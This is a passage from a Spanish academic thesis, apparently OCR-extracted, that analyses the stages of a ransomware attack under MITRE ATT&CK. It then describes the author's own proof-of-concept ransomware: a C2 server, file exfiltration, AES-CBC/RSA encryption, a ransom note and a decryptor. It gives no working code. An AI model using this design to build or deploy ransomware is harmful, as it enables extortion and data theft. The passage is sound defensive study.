sistema de licenciamiento o incluso de desarrollo de las mismas.

3.3. Explorando el equipo y reconociendo el entorno

Una vez se tienen disponibles las aplicaciones se explora el entorno para conocer

informacion del sistema y de la posible infraestructura de red a la que pertenece. La
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tactica ATT&CK se corresponde con la TA0007 (Discovery); las técnicas empleadas se
basan en el descubrimiento de cuentas de todo tipo, pueden explorar los navegadores
web buscando los accesos favoritos (bookmarks) para obtener informacién, aplicaciones

Windows activas, infraestructuras y servicios en la nube, servicios de red...

Los controladores de dominio son el principal objetivo por el danio potencial que pueden
infringir. Si un ciberdelincuente consigue acceso con privilegios sobre un controlador de
dominio, podria danar, modificar o destruir la base de datos del Directorio en sistemas
Windows (Active Directory) de la organizacién. Es la ruta méas directa para acceder a
servidores y estaciones de trabajo, desplegar malware y provocar danos irreparables,

por lo que deben tener especial proteccién [47].

Todo ransomware explora el equipo donde se ejecuta, buscando coincidencias con las
extensiones declaradas de interés para proceder a cifrarlas. El cédigo fuente suele
incluir una lista con las extensiones objetivo y otra con directorios a excluir de esta
busqueda. Los directorios que contienen ficheros imprescindibles para el uso del sistema
operativo no se encriptan ya que lo que se pretende es dejar el equipo en
funcionamiento pero con la informaciéon valiosa cifrada para poder recuperarla con

posterioridad.
El software malicioso obtiene un listado con las unidades de almacenamiento del

sistema, unidades de red, unidades extraibles y procede a recorrerlas todas para causar

el mayor dano posible.

3.4. Asegurando la persistencia en el sistema

Otra de las operaciones que suele realizar el ransomware o cualquier tipo de malware es

27



asegurar su persistencia en el sistema. Para ello se crean por ejemplo claves en el
registro de Windows o se almacena el binario en la carpeta de inicio, de modo que una

vez el sistema se reinicia el software vuelve a ejecutarse.

La persistencia también se busca a nivel de control sobre la maquina, lo que se
pretende es que el ciberdelincuente siga teniendo acceso al equipo infectado, por lo que
se estableceran puertas traseras que mantengan esta conexién para continuar con el
ataque y llevarlo a mayor escala. Ejemplos de puertas traseras son DoublePulsar en
WannaCry y Cobalt Strike Beacon en DarkSide, que permite establecer comunicacion

con un servidor C2 a través de HT'TP, HT'TPS o DNS.

En el marco ATT&CK la téctica definida es la TA0003 (Persistence) y la técnica més
comun, aunque convive con otras 18 diferentes, es la T1547 (Boot or Logon Autostart

Execution), que a su vez dispone de otras 15 subtécnicas hasta la fecha.

La persistencia se puede conseguir por dos métodos: A través de la misma ejecucion del
ransomware, formando parte de su cédigo, o a través de la toma de control de una
méquina victima, realizando operaciones al acceder por escritorio remoto (RDP) una
vez comprometido este servicio, o desde una shell directa (bind) o inversa (reverse)
antes de su ejecuciéon como las proporcionadas por Metasploit o por herramientas como
wmiexec del paquete de herramientas de Impacket. En las pruebas de explotacion de

vulnerabilidades se ofrece mayor detalle de este proceso.

Un wusuario con conocimientos avanzados podria identificar el proceso malicioso,

detenerlo y obtener el binario para su posterior analisis explorando los procesos en

ejecucion si esta familiarizado con ellos.
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3.5. Movimientos laterales y escalada de privilegios

Reconocida la infraestructura de red y conseguida la persistencia en un primer equipo,
se procedera a intentar infectar el mayor numero posible de sistemas realizando
movimientos laterales, operacion asociada a la tactica TA0008 (Lateral Movement) del
marco ATT&CK. El objetivo es obtener mayor nimero de credenciales para ir ganando
nuevos accesos, donde poder desplegar herramientas propias de control remoto o
utilizar las nativas del sistema operativo. Aqui entra en juego la escalada de privilegios
(TA0004 - Privilege Escalation), donde es comun la explotacién de cuentas de
administrador local por soler encontrarse la misma contrasena para toda una empresa o
corporacion, facilitando enormemente el trabajo al atacante en caso de obtenerla a la
hora de realizar movimientos laterales. Mediante la explotaciéon de vulnerabilidades

también se pueden escalar privilegios a partir de una cuenta no privilegiada.

Como se ha comentado anteriormente, el objetivo es conseguir una cuenta privilegiada
de administrador del Directorio (AC - Active Directory), ya que esta permite el acceso
a los controladores de dominio (DC — Domain Controller) y por consiguiente el acceso a
toda la red, pudiendo desplegar el ransomware en todos los equipos conectados a ella al

mismo tiempo.

Entre las técnicas empleadas para conseguirlo se utilizan, entre otras, pass-the-hash,
robo de contrasenas registradas en la carpeta SYSVOL (controladores de dominio),
kerberoasting, consistente en aplicar fuerza bruta sobre Kerberos, uso de tablas

rainbow... mas adelante se muestra un ejemplo de robo de contrasenas con este método.

La escalada de privilegios, como otras operaciones, es una tarea que puede realizar el

mismo ransomware en si, o delegarla durante la fase de ataque. Utilizar una cuenta
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privilegiada permite acceder a todas las funcionalidades y no tener restricciones ni

validaciones en el equipo atacado.

3.6. Eliminando procesos y copias de seguridad

Otra fase comtn en este tipo de software es la eliminacion de copias de seguridad o
backups, instantaneas y puntos de restauracion que permitan al usuario volver a un
estado anterior o recuperar los datos de alguna manera. Se pretende que la tnica forma
posible de recuperar la informacién sea pagando el rescate. Herramientas nativas como
VSSADMIN o WMIC se utilizan para eliminar las instantaneas de volumen (shadow

copies).

La tactica MITRE ATT&CK que define esta operacién es la TA0040 (Impact), con la
técnica T1490 (Inhibit System Recovery). Carece de subtécnicas pero se ofrecen
multitud de ejemplos de procedimientos: Conti, Conficker, Babuk, REvil, todos utilizan
vssadmin para eliminar las instantaneas de volumen, algunos ademés utilizan bcdedit

para deshabilitar las funciones de recuperacion.

También se eliminaran procesos relacionados con la seguridad del sistema antes de
proceder con el cifrado de los ficheros de datos, se detendrd la ejecucién de antivirus
que pueden ser detectados con aplicaciones como PCHunter o Process Hacker y se
deshabilitaran herramientas y configuraciones orientadas a la proteccion, ademas de
detener determinados servicios que utilicen ficheros que se quieran encriptar, como los
relacionados con bases de datos, por el hecho de mantenerlos abiertos no permitiendo
por tanto su modificaciéon. Una vez se detengan estos servicios, los ficheros dejaran de

estar en uso y es cuando el cifrado de los mismos podra llevarse a cabo.
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3.7. Enviando ficheros al atacante (robo de informacién)

Una parte fundamental en los ataques perpetrados en la actualidad es el robo de la

informacién para proceder a un siguiente paso de extorsién [48].

Si no se paga lo reclamado, existe la posibilidad de dar publicidad a estos datos o
incluso recibir mayor beneficio vendiéndolos a terceros. La sustracciéon de datos podria
realizarse independientemente del ataque por ransomware o como parte del ejecutable.
La correspondencia en el marco MITRE ATT&CK se relaciona con la tactica TA0010
(Exfiltration). Se ha realizado un andlisis técnico del envio de ficheros desde la maquina
victima al servidor o maquina del atacante, aunque existen otros métodos de
sustraccion, como extraccion mediante USB, Bluetooth, servicios Web, sobre

repositorios de cédigo, almacenamiento en la nube...

Durante esta fase se realizan operaciones de empaquetado, compresion y cifrado.

3.7.1. Envio de ficheros por socket

Utilizando las funciones send() y sendall(); Hacen uso de buferes y del espacio de

memoria del usuario. El método sendfile() es mas eficiente pero con inconvenientes.

Método socket.send()
Método TCP de bajo nivel, bésicamente es una llamada al sistema (syscall o system

call) en C. Retorna el nimero de bytes enviados. Se tiene que controlar que el tamano

del bufer al completo se haya enviado satisfactoriamente.
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Método socket.sendall()

Método UDP de alto nivel codificado en Python puro. Envia el bufer al completo con el
objeto None como respuesta en caso de éxito o retorna un error en caso contrario sin
conocer cuanta informaciéon se ha llegado a enviar. Para el envio de ficheros por socket

implementado en las pruebas de concepto desarrolladas se utiliza este método.

Método socket.sendfile()

Llamada al sistema, al trabajar en modo kernel es el méas eficiente, no utiliza el espacio
de memoria del usuario ni los biferes de aplicacion, transferencia directa a través de un
bufer de fichero y un bifer del kernel. Ademés el cédigo implementado es mas simple,
pero su mayor inconveniente es que no puede utilizarse con SSL. En caso de que en el
sistema operativo no esté disponible os.sendfile(), como por ejemplo en Windows, se

utilizaria el método send() en su lugar.

3.7.2. Envio de ficheros a través del correo electrénico

Método SMTP.sendmail(), conexiones seguras con SMTP__SSL() y starttls(). Se utiliza
la libreria smtplib para el envio de emails con ficheros adjuntos a través del protocolo
SMTP. Aunque se ha analizado y estudiado este método, no se ha utilizado esta
libreria en el desarrollo de las pruebas de concepto. El ransomware puede automatizar
la tarea de enviar ficheros de reducido tamano mediante este método, con la
informacion de la clave utilizada para el cifrado y otros datos. Un ejemplo es el fichero

de claves que genera la prueba de concepto Tipo 2.
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3.7.3. Envio de ficheros empleando el protocolo SCP (Secure Copy

Protocol)

* Por subproceso: A través de la libreria subprocess, método subprocess.Popen(),

llamando al comando scp.

* Por conexién SSH: A través de la libreria Paramiko y del médulo scp. Hace uso
de un cliente SSH y de un cliente SCP para llevar a cabo la transferencia de

ficheros en modo seguro.

3.8. Cifrando documentos — Criptografia

Si bien en sus inicios el ransomware solo bloqueaba los equipos pidiendo un rescate
para recuperar la funcionalidad, dejando los datos intactos, su evolucion llevé al cifrado
de la informacién utilizando algoritmos criptograficos. El uso de la criptografia
caracteriza este malware. El resultado del proceso deja en el sistema todos los ficheros
afectados cifrados y con una extension determinada que suele identificar la familia o
tipo de ransomware que ha producido la infeccion. En las pruebas de concepto esta

extension es .ransomTFG.

Existen multitud de variantes de ransomware que se comportaran de una u otra
manera dependiendo de la familia a la que pertenezcan. Algunos bloquean el escritorio,
simulando una actualizacién del sistema operativo o cualquier otra accién que aparente
ser legitima. Los usuarios no avezados no saben identificarlas y caen en la trampa;

mientras tanto se cifran los ficheros.
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Otros modelos permiten seguir trabajando y encriptan la informacién sigilosamente
hasta que finalizan las operaciones y es cuando se notifica la infeccion. Las pruebas de
concepto comprueban en una segunda ejecucion del binario si el sistema ya ha sido

cifrado, volviendo a notificar la infeccién sin realizar ninguna operacion adicional.

La definicién para el término criptografia dada por la RAE es breve: arte de escribir
con clave secreta o de un modo enigmdtico [49]. La definicion del diccionario de Oxford
Languages aporta algo mas: Arte y técnica de escribir con procedimientos o claves
secretas o de un modo enigmdtico, de tal forma que lo escrito solamente sea inteligible
para quien sepa descifrarlo [50]. Consiste en el método suficientemente seguro que se

aplica a un mensaje para cifrarlo y descifrarlo, siendo este mensaje visible en texto en

claro solo para emisor y receptor.

La criptografia toma un papel primordial en este tipo de software malicioso, ya que es
gracias a ella como el ransomware cumple sus objetivos; en primer lugar proporciona
una comunicacion segura en presencia de terceros entre el equipo de la victima y el
atacante. No se podria obtener nada relevante si se analizan las comunicaciones.
También aparece en el codigo implementado utilizando procedimientos de ofuscacién
para sortear la aplicacién de ingenieria inversa. Y el fin dltimo de este tipo de software
es el cifrado de ficheros empleando algoritmos criptologicos seguros, no se podria
recuperar la informacion sin obtener la clave utilizada para el cifrado, que sblo conoce

el atacante y solo entregaria con el pago de un rescate.

La tactica MITRE ATT&CK que define esta operacion es la misma que para la
eliminaciéon de copias de seguridad, TA0040 (Impact), donde el atacante trata de
manipular, interrumpir o destruir el sistema o datos, mientras que la técnica asociada

al ransomware se describe en la T1486 (Data Encrypted for Impact). Se muestran
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numerosos ejemplos de procedimientos, donde se aprecia el uso comuin de una
combinacién de cifrado simétrico y asimétrico, es el caso de Clop, que utiliza AES, RSA
y RC4. Babuk emplea ChaCha8 y ECDH, Egregor usa un algoritmo hibrido AES-RSA,

Pysa hace las veces con RSA y AES-CBC, Ryuk combina AES con RSA...

Existe una diversidad de algoritmos que un ciberdelincuente podria emplear para el
cifrado de los datos. En Python las numerosas librerias disponibles permiten la eleccion

del método de cifrado.

En las pruebas de concepto, como si de ejemplos reales se tratara, intervienen los dos

tipos de cifrado, simétrico y asimétrico.

3.8.1. Cifrado simétrico

Utiliza una clave tnica compartida, la misma para cifrar y descifrar. Este tipo de
cifrado es el encargado de encriptar todos los ficheros de datos por los que pedir un
rescate, ya que una de sus ventajas es que es mucho mas rapido que el cifrado
asimétrico. La clave puede generarse en el equipo de la victima mientras el ransomware
estda en proceso o hacerlo desde un servidor controlado por el atacante y enviarlo a la
victima a través de sockets seguros, cifrando la informaciéon en transito a través del

protocolo TLS.

De cualquier modo el operador del ransomware intentara eliminar todo rastro de la
memoria en el equipo atacado para que no pueda obtenerse la clave por ingenieria
inversa: Se sobrescriben variables y por tanto espacios de memoria, se eliminan
referencias a objetos con informacién sensible y se realizan llamadas al recolector de

basura.
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Se utilizan herramientas como Wireshark para analizar el tréfico de la red y comprobar
la confidencialidad de las comunicaciones entre la victima y el atacante [51]-[53]. En la
ilustracion 8 se muestra el detalle de la comunicacion segura con el protocolo TLSv1.3,
cumpliendo con la confidencialidad esperada; en la ilustracion 9 se aprecia el cifrado en
el contenido de la comunicacion, resultado de la decodificacion en varios formatos del
intercambio de mensajes TCP (TCP stream). También es conveniente comprobar la
seguridad de las comunicaciones con el servidor de Bases de Datos para asegurar una

correcta configuracion.

No. * Time Source Destination Protocol Lengtk Info

T42 24084087326 192.168.16.4 192.168.19. 250 TCP 66 48814 — 6666 [ACK] Seq=1 Ack=1 W1n=64256 Len=B TSval=39546573..

T43 24.086261772 192.168.16.4 192.168.16.250 TLSv1.3 583 client Hello

T44 24 086305044 182,168,168, 250 192.168.16.4 TCP 66 6666 — 48814 [ACK] Seq=1 Ack=518 Win=64768 Len=0 TSval=414666..

745 24 0878008792 192.168.18.250 192.168.18.4 TLSw1.3 1495 Server Hello, Change Cipher Spec, Application Data, Applicati..

746 24 .888052379 192.168.18.4 192.168.18.250 TCP 66 4B814 — G666 [ACK] Seq=518 Ack=1430 Win=64128 Len=0 TSval=385.

TAT 24 .0BB558476 192.168.108.4 192.168.18.250 TLSv1.3 146 Change Cipher Spec, Application Data

748 24 .8BB558239 192.1G68.18.250 192.168.16.4 TCP 66 6666 + 48B14 [ACK] Seq=1430 Ack=538 Win=64768 Len=0 TSval=414.
BBET44798 2 : o 1@, 4 TLSv1.3 321 Applicaticn Data

T5O 24.088959154 192.168.16.4 5 18- TLSv1.3 388 Application Data

751 24.088999277 192.168.16.4 192.168.19.250 TCP 66 48814 — 6666 [ACK] Seq=912 Ack=1685 Win=64128 Len=0 TSval=395..

752 24.089011096 192.168.16.250 192.168.16.4 TCP 66 6666 — 48814 [ACK] Seq=1685 Ack=212 Win=64512 Len=0 TSval=414..

753 24.089025782 192.168.168. 250 192.168.16.4 TLSv1.3 321 Application Data

754 24 .080545872 192.168.10.4 192.168.18.250 TCP 66 48814 — 6666 [ACK] Seq=912 Ack=1940 Win=64128 Len=0 TSval=385.

Time to live: 64

Pratacol: TCP (&)

Header checksum: @xbl56 [validation disabled]

[Header checksum status: Unwverified]

Source: 192.168.16.250
f2 1f 48 @0 40 06 b1 56 cO ad Ga fa co a8 [E @8 V.o

! Ba 84 la Ba be ae ©7 b8 f7 3a 73 22 4a 70 B@ 18 ..o ors"dy e
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[ustracion 8: Wireshark - Comunicacion segura mediante el protocolo TLSv1.3

Uno de los algoritmos simétricos mas utilizados hoy en dia es AES (Advanced
Encryption Standard), también conocido por Rijndael: fue desarrollado por dos
criptélogos belgas, Joan Daemen y Vincent Rijmen. Sustituyé a DES, y se emplea en
todos los canales y protocolos seguros como TLS, HTTPS, redes privadas virtuales

(VPN) y en muchos otros dmbitos.

Es un algoritmo de cifrado por bloques con un tamaifio fijo de 128 bits, y una longitud

de la clave con 128, 192 6 256 bits. Siendo la de menor longitud la estandar, aunque
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también muy utilizada la de 256 bits. Existen diferentes modos de cifrado o formas en
la que se gestionan los bloques, cada uno de ellos con un funcionamiento diferente. El
utilizado por las pruebas de concepto es el modo CBC (Cipher-Block Chaining) por
tener amplia presencia en otros ransomware desarrollados, su velocidad para encriptar
y ser considerado criptograficamente fuerte. En la ilustracion 10 se muestra el

contenido de un fichero cifrado mediante las pruebas de concepto.
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Tlustracion 9: Decodificacién en varios formatos de una comunicacion cifrada

CBC viene a sustituir a ECB (Electronic Code Book) y sus deficiencias. ECB repite el
proceso de cifrado AES para cada bloque de 128 bits, dando lugar a salidas cifradas
idénticas para bloques con el mismo contenido. Esto se considera una vulnerabilidad
por no ocultar bien los patrones de datos, la seguridad es baja y no se recomienda su
uso. CBC corrige esta deficiencia aplicando un vector de inicializacién (IV) de 128 bits

al primer bloque de texto en claro, por medio de la operacion XOR; al resultado de esta
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operacion se le aplica el cifrado AES con la clave simétrica, generando un bloque de 128
bits que usaremos en una posterior operacion XOR con el siguiente bloque, y asi
sucesivamente. De esta forma se evita generar bloques cifrados idénticos para bloques

de texto en claro con el mismo contenido.

Hubo un problema al abrir el archivo «/home/tfg/Documentos/handler.png.ransomTFGs.

Flarchive que abrit contiene algunos caracteres ne validos, 51 conlinua editandn este archive puede cormompen & dotumenl o,
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Tlustraciéon 10: Contenido de un fichero cifrado con AES-CBC

El modo AES maés aplicado en otros ambitos es GCM (Galois / Counter Mode) o su
version mejorada GCM-SIV por ser uno de los mas seguros y proporcionar integridad
ademéas de confidencialidad, lo que otros modos previos no hacian en una misma
operacién, teniendo que aplicar otros algoritmos como HMAC para asegurar la
integridad de los datos. Este modo de operacién se conoce como AEAD (Authenticated
Encryption with Associated Data), proporcionara confidencialidad, autenticidad e

integridad.

La libreria Cryptography de Python permite seleccionar entre multitud de cifrados
simétricos y modos. Ademas de AES, otros algoritmos simétricos que pueden

emplearse con esta libreria son: Camellia, ChaCha20, TripleDES, CAST5, SEED, SM4,
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Blowfish, ARC4 e IDEA. Para AES se encuentran disponibles los modos CBC, CTR,
OFB, CFB, XTS, GCM y ECB. Para el analista que aplique la ingenieria inversa es
importante conocer el tipo de cifrado que emplea el ransomware, ya que a partir de
aqui se podria intentar descifrar, buscar ciertas vulnerabilidades en los algoritmos

implementados, claves en memoria, etc.

3.8.2. Cifrado asimétrico

Utiliza una clave publica y otra privada. Se cifra con la clave publica del atacante,
conocida por todos y que puede estar incluida en el cdédigo del malware, mientras que la
clave privada, secreta, sera la encargada de descifrar el contenido, estando tnicamente
en posesion del ciberdelincuente. Esta forma de proceder es lo que hace atractivo este
tipo de cifrado, cualquiera puede encriptar, pero solo quien tenga la clave privada

revertira el proceso.

El cifrado asimétrico cumple con los principios de autenticidad, integridad,

confidencialidad y no repudio y tiene dos usos principales:

* Autenticacion: Para verificar el origen auténtico de un mensaje, el autor firma o
cifra con su clave privada, y todos aquellos que tengan su clave ptblica pueden
verificar al autor. Se usa en firmas digitales, certificados digitales, para acceder

a servicios, servidores...

* Confidencialidad: Comunicaciones seguras a través de infraestructuras de clave
ptblica (PKI - Public Key Infrastructure), una clave publica y privada por cada
emisor. Este cifrado es ideal para el intercambio de claves simétricas y para

establecer comunicaciones cifradas en una red no confiable.
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Ron Rivest, Adi Shamir y Leonard Adleman publicaron el algoritmo RSA (Rivest-
Shamir-Adleman) en 1977, definido en PKCS#1 (RFC 3447) [54], una familia de
estandares llamados de criptografia de clave publica (Public-Key Cryptography

Standards). Es el algoritmo asimétrico por excelencia.

Su seguridad se basa en el problema de la factorizacion de ntimeros enteros grandes. No
es posible descifrar por completo un texto cifrado con RSA. En la actualizad existen
retos y concursos para lograr factorizar estos ntimeros, llegdndose en 2018 a factorizar
el RSA 230. Una caracteristica a tener en cuenta es la eleccion del tamano de la clave,
a mayor tamano mayor seguridad pero menor velocidad a la hora de realizar las
operaciones. Se debe utilizar al menos una longitud de 2048 bits, siendo recomendable

el uso de 4096 bits.

En las pruebas de concepto se cifran las comunicaciones con la clave piblica del
atacante, incluida en el coédigo, abriendo un canal seguro hacia el servidor en tiempo
de ejecucién. En la prueba de concepto Tipo 2 se emplea ademas para cifrar un
pequeno archivo contenedor de la clave simétrica con el algoritmo RSA. Este fichero
podra ser descifrado tnicamente por el atacante con su clave privada, ofreciendo la

clave simétrica a la victima a cambio del pago del rescate.

El mayor inconveniente de este algoritmo es la velocidad de operaciéon, siendo un
proceso muy lento en comparacion con el cifrado simétrico, por lo que queda descartado
para el cifrado de los ficheros de datos de la victima. Como norma general el tamano de
los datos que pueden ser cifrados tampoco puede superar la longitud de la clave
utilizada. Con una clave de 2048 bits (256 bytes) solo se pueden cifrar 245 bytes, ya

que se produce un aumento del volumen de los datos una vez se han encriptado.
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Otra alternativa posible a RSA es ECC (Elliptic Curve Cryptography) o criptografia de
curva eliptica, basada en las matematicas de las curvas elipticas. Mas novedosa que
RSA, ofrece mejor rendimiento con claves mas cortas. Una clave ECC de 256 bits
proporcionaria la misma seguridad que una clave RSA de 3072 bits. Debido a esta

mejora, podrian establecerse conexiones méas rapidas y seguras con menos recursos.

La libreria Cryptography ofrece numerosos algoritmos asimétricos ademas de RSA,
entre ellos: DSA, criptografia de curva eliptica (ECC), intercambios de clave Diffie-

Hellman, X25519, X448...

3.8.3. Compresion cifrada de ficheros

En la actualidad van apareciendo cada vez mas ejemplos donde los ficheros, en lugar de
cifrarse con los métodos habituales, son comprimidos con alguna herramienta que
proporcione soporte criptologico, requiriendo una clave para poder descomprimir el
contenido [55]. Una vez se comprimen los ficheros, estos se eliminan del sistema,
necesitandose la clave para poder recuperar la informacién. Para el ciberdelincuente es
una segunda oportunidad si el cifrado clasico de los ficheros no llega a buen término
por bloqueo de los sistemas de defensa. En las pruebas de concepto se utiliza esta
técnica durante la fase de robo de informacién. Se envia un sélo fichero comprimido que
identifica a la victima, con todo el contenido deseado cuya clave es la misma que la

utilizada para cifrar los archivos individualmente (Ilustracién 11).

En octubre de 2021 el grupo cibercriminal “Memento Team” utilizé una copia de la

utilidad legitima WinRAR en su version freeware de linea de comandos. Las pruebas de

concepto utilizan librerias Python para desarrollar esta tarea.
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Nombre ~ | Tamafio Modificacion

ﬂ 1c7B1F51F94b480aca61027db0cdTeb2.zip

| # | 7afab9sas1dasaesassdredsacb3a7ss.zip 216 bytes 13may
[_E_| 35ee747a88dbb29FTedT772eF0c72794.2ip 216 bytes 13 may
[%] 5237830a6bd9ab158755d6abaa201965.zip 33,0 MB 13:20
[# ] 63304101cd858697259b447789b5F095.2ip 33,2MB 11:03
[E| a2672f133022491a12F760462ebc32e7.2ip 412 bytes 13 may
|_E_| e961848dd0e5c72956a310a391cb5976.2ip 216 bytes 13 may
[#] Fdcd72d3abbbedachesasssfsicon3de.zip 41,0MB 14:50

[lustracién 11: Ficheros recibidos por el atacante con la informacién de las victimas

3.9. Notificando la infeccion

Todo ransomware tiene una fase en la que se notifica al afectado que ha sido victima de
un ataque informatico. Una vez se han realizado las acciones maliciosas y el equipo se
encuentra con sus ficheros secuestrados, el software emite un mensaje para informarnos
de ello con una serie de instrucciones a seguir si se quieren recuperar los datos. Existen
varios métodos para llevar a cabo esta tarea, y suele ser algo que comparten las

diferentes familias existentes.

3.9.1. Fichero de texto o imagen

Puede aparecer un fichero de texto o imagen con las instrucciones en carpetas
especificas, como el escritorio o la carpeta de documentos del usuario. Hay versiones en
las que se genera el mismo fichero de texto en cada carpeta afectada por el
ransomware. Una vez creado, el software realiza su apertura para que se muestre por

pantalla.
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3.9.2. Pagina web o aplicacién HTML

A través de la apertura del navegador en primer plano, indicando datos acerca de la
infeccién y las instrucciones a seguir para resolver el problema. Al igual que ocurre con
los ficheros de texto, el fichero HTML quedara almacenado en el sistema en una o
varias carpetas permitiendo una posterior visualizacién. Ejemplo de estos métodos se

puede encontrar en los ransomware Dharma o Magniber.

En otras ocasiones puede ejecutarse una aplicacion HTML (HTA), que utiliza lenguaje
html o html dindmico para la interfaz de usuario y un lenguaje de scripting para la
implementacion de la légica del programa; el ransomware LockBit 2.0 o Lockfile son

ejemplos de este método.

En este trabajo se ha optado por realizar una pagina web basica (ilustracién 12), siendo
el método mas utilizado en la actualidad, codificada en HTML, anadiendo clases de
estilo en el mismo documento e importando una libreria de bootstrap para evitar un
segundo fichero de estilos (css). La idea es tenerlo todo en un solo documento HTML

para poder integrarlo en el codigo del malware, en lugar de como fichero adjunto.

El contenido del fichero HTML se codifica en Base64, evitando a priori su legibilidad en
caso de un analisis sobre el ejecutable; El ciberdelincuente ofuscara el codigo y
entorpecera lo maximo posible un futuro estudio a través de ingenieria inversa que
pueda dar pistas que ayuden a trazar o resolver el problema. En las pruebas de
concepto desarrolladas se ha codificado de forma que se crea un nuevo fichero con
extension html durante la fase de ejecucion, copidndose todo el contenido html
dindmicamente junto con el identificador de la victima, que serda lo que el atacante

necesite para entregar la clave.
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1 - Envie un correo electronico a la direccion: r

ponga en el asunto el siguiente codigo: 35ee747a88dbb29f7ed7772ef0c72794

2 - Se le enviara una direccion BTC para que d 0.01 bitcoins (BTC). Una vez haya realizado el pago
envie un NUevo col licando en el asunto: PAGADO.

3 - Comprobado el pago recibira un fichero ejecutable que automaticamente desencriptara todas sus archivos,
restaurando el equipo a su estado original y eliminando todo rastro provocado par esta infeccion.

[ustracién 12: Pagina web que notifica la infecciéon por ransomware

3.10. Recuperando la informacion

Una vez la victima se ha puesto en contacto con el ciberdelincuente, presumiblemente a
través de correo electronico o redes sociales como una cuenta Telegram, y realizado el
pago del rescate, se le suministrardn instrucciones sobre como proceder para restaurar
toda la informacion. Es ya conocida la no recomendacion por parte de las autoridades
de realizar este pago, ya que nadie puede asegurar que se reciba respuesta o que no dé
lugar a un segundo chantaje. En la pruebas de concepto se han implementado dos
métodos distintos para revertir la infeccién, descifrando todos los datos y eliminando
archivos temporales creados durante el proceso, como son la nota html dejada en el
escritorio o en la carpeta de documentos personales, el listado de ficheros encriptados,
el fichero comprimido que se envia al atacante y un fichero huella que identifica si el

sistema ya ha sido cifrado (ilustracién 13).
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1c781F51F9  archivolList huella
4b480ac46 a
1027db0...

[lustracion 13: Ficheros temporales generados

El primer método se basa en recuperar desde el servidor del atacante las claves y
restaurar los archivos. El segundo método es una aplicacién que solicita la clave, que
serda entregada a la victima junto con el ejecutable, quién podré revertir todo el

proceso, sin necesidad de conexién con un servidor de mando y control (ilustracién 14).

arreglos. claves.png execute, handler.png  hashdump. imagenes ImagenesKk  Imagene
odt png png tfg.odt ali.zip ali2.zij

Descifrador RansomTFG

= -l

pantalla Introduzca la clave de descifrado snshot  Screenst

ransomtfg. 3 27.png  _16_10.p
odt XSMOMrin8KDybWwpbrriWmMBIiBLJzGcouw5SakaHoFTMA:

n Descifrar | Pegar | Salir | ] -

. Screenshot litera. shellter
| _37_03png | Se han desencriptado los archivos correctamente ing Png

e N ™ N = N = B B N B N

[lustracion 14: Aplicacién para descifrar los ficheros

Lo

Como ejemplo de caso real mas sofisticado se expone el funcionamiento del ransomware
REvil, ofreciendo en su nota de rescate una URL tnica que encamina a un sitio web
donde poder resolver el secuestro. Se indican las instrucciones necesarias para realizar el

pago en criptomonedas, una versién de prueba (trial decryption) para comprobar que es
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capaz de descifrar los ficheros y una cuenta atras que una vez superado el tiempo

concedido duplica el importe a pagar [506].
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4. Pruebas de

concepto

4.1. Desarrollo de las pruebas de concepto (PoC)

Se han implementado dos pruebas de concepto diferentes, cada una de ellas con un
modo de operacion especifico atendiendo a lo que suele darse en la actualidad y

empleando distintas librerias para el cifrado.

4.1.1. Tipo 1 - Con servidor de Mando y Control (Command and Control -

C2)

Este es un modelo con mayor infraestructura. Para llevarlo a cabo se han generado tres
ficheros ejecutables, uno para producir la infeccién, el ransomware en si, otro para
descifrar los ficheros de los equipos y un ultimo para iniciar el servidor, donde residen
los certificados SSL para proteger las comunicaciones, que quedaria escuchando a la

espera de nuevas conexiones.
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Esta compuesto por dos servidores, uno de bases de datos y otro a la escucha
encargado de comunicarse con la victima, recibir datos y registrar accesos y otra

informacion en el servidor de bases de datos (ilustracién 15)

..

8 g " "

Victima Servidor C2 Servidor BBDD

o ()

ENCRIPTAR

[ Envia datos del equipo e identificador de la victima » . -
: ‘ Genera clave e |V y geolocaliza a la victima |

© | Registra en la BBDD victima, datos, clave e>

< Entrega clave e IV asignadas a la victima I

[ Comprime v envia todos los ficheros seleccionado>

[ Encripta los datos y notifica a la victima ]

DESENCRIPTAR

Solicita clave e |V para desencriptar >
i | Consulta clave e IV para la victima asociad> :

< Entrega clave e IV ]

| Desencripta y limpia el sistema |

<Enlrega clave e IV asignadas a la victima |

"t "
Victima Servidor C2 Servidor BBDD

[lustracion 15: Diagrama de funcionamiento de la prueba de concepto Tipo 1

Las comunicaciones entre la victima y el servidor de espera y entre el servidor de
espera y el servidor de bases de datos seran seguras, cifradas utilizando el protocolo
SSL, evitando el acceso al contenido a través de un posible andlisis de las

comunicaciones. Ambos servidores pueden residir en la misma maquina o estar
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dedicados, de forma que tengan localizaciones distintas, ofreciendo mayor complejidad
si se quieren tomar medidas o realizar un analisis de las acciones maliciosas. El
software, una vez ejecutado en el equipo objetivo, se pone en contacto con el servidor
que esta a la escucha, envidndole datos acerca de la configuracion del sistema, entre

ellos:

* Un codigo identificador de la victima generado aleatoriamente.

* La IP local, de utilidad para rastrear una posible red local y poder realizar

movimientos laterales, acceder a servidores, controladores de dominio, NAS...

* La IP publica de acceso a internet, que puede dar informacion acerca de la
localizacién geografica de la victima, y si es una IP Fija que no esta detras de
una NAT, poder realizar escianer de puertos a la busqueda de cualquier

vulnerabilidad explotable.

* Sistema operativo residente y caracteristicas del mismo, como versién, revision,
build..., pudiendo llevar a cabo el ataque tanto para sistemas Windows como

sistemas Linux en todas sus versiones.

* Datos de la méaquina virtual de Java, si estd instalada, pudiendo dejar en
evidencia posibles vulnerabilidades muy explotadas en la actualidad sobre

versiones obsoletas.

* Datos acerca del intérprete de Python, si se encuentra instalado, informacion

util para la ejecucion del ransomware y posibles incompatibilidades entre

versiones.
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* Datos acerca del hardware de la maquina, como el procesador. Podria recibirse
cualquier dato de interés utilizando para ello las numerosas librerias disponibles

en Python.

El servidor que estd a la espera resuelve la localizacién geogréafica de la IP publica
recibida por la victima, genera la clave (key) y el vector de inicializacion (IV)
necesarios para utilizar el algoritmo AES y registra en la base de datos toda la

informacién relevante recibida (ilustracion 16)

| TERMIMNAL

£ 79.116.134.95 # Linux # 5.13.0-41-g
# # # # # MNone # # # # #

[lustracion 16: Intercambio de mensajes durante el cifrado

Una vez se ha realizado el registro, se envia a la victima la clave e IV para proceder al
cifrado de los ficheros del sistema, se comprimen los archivos de interés en uno solo,
cuya apertura también requiere clave y se sustraen los datos, que podrian ser utilizados
para una segunda fase del ataque, la extorsion. En las ilustraciones 17 y 18 se observa

el antes y el después de haber realizado el cifrado mediante las pruebas de concepto.
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[lustracion 18: Contenido de la carpeta después del cifrado

El envio de ficheros entre la victima y el atacante se ha implementado de dos maneras,
